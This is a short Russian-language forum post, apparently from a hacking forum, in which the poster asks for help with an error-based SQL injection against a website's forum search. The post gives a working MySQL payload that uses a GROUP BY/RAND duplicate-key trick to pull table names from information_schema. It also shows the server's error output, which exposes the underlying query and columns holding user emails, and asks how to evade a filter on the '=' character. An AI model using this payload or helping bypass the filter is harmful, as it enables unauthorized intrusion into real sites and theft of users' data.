нужна ваша помощь)
запрос
Код:
-1%' OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID((SELECT table_name FROM information_schema.tables WHERE table_schema=0x68675f6462 Limit 0,1), FLOOR(RAND(0)*2), 64)) --
получаю
Код:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 5SELECT ftm.subject, ftm.message, ft.title, ft.slug, ft.id, f.slug as forum_slug, fu.email, fu.signature, ftm.user_id, ftm.created_at as forum_created_at, fu.created_at as user_register, fu.post_count as user_post_count, fu.name, f.* FROM `forum_forum_topic_message` ftm
LEFT JOIN `forum_forum_topic` ft ON ftm.`forum_topic_id`=ft.`id`
LEFT JOIN `forum_forum` f ON ft.`forum_id`=f.`id`
LEFT JOIN `forum_user` fu ON ftm.`user_id`=fu.`id`
WHERE ftm.`subject` LIKE '%-1%' OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID((SELECT table_name FROM information_schema.tables WHERE table_schema%'
как я понял что не нравится знак равно, т.к. пробовал не кодировать тоже самое на том же месте, можно ли обойти это?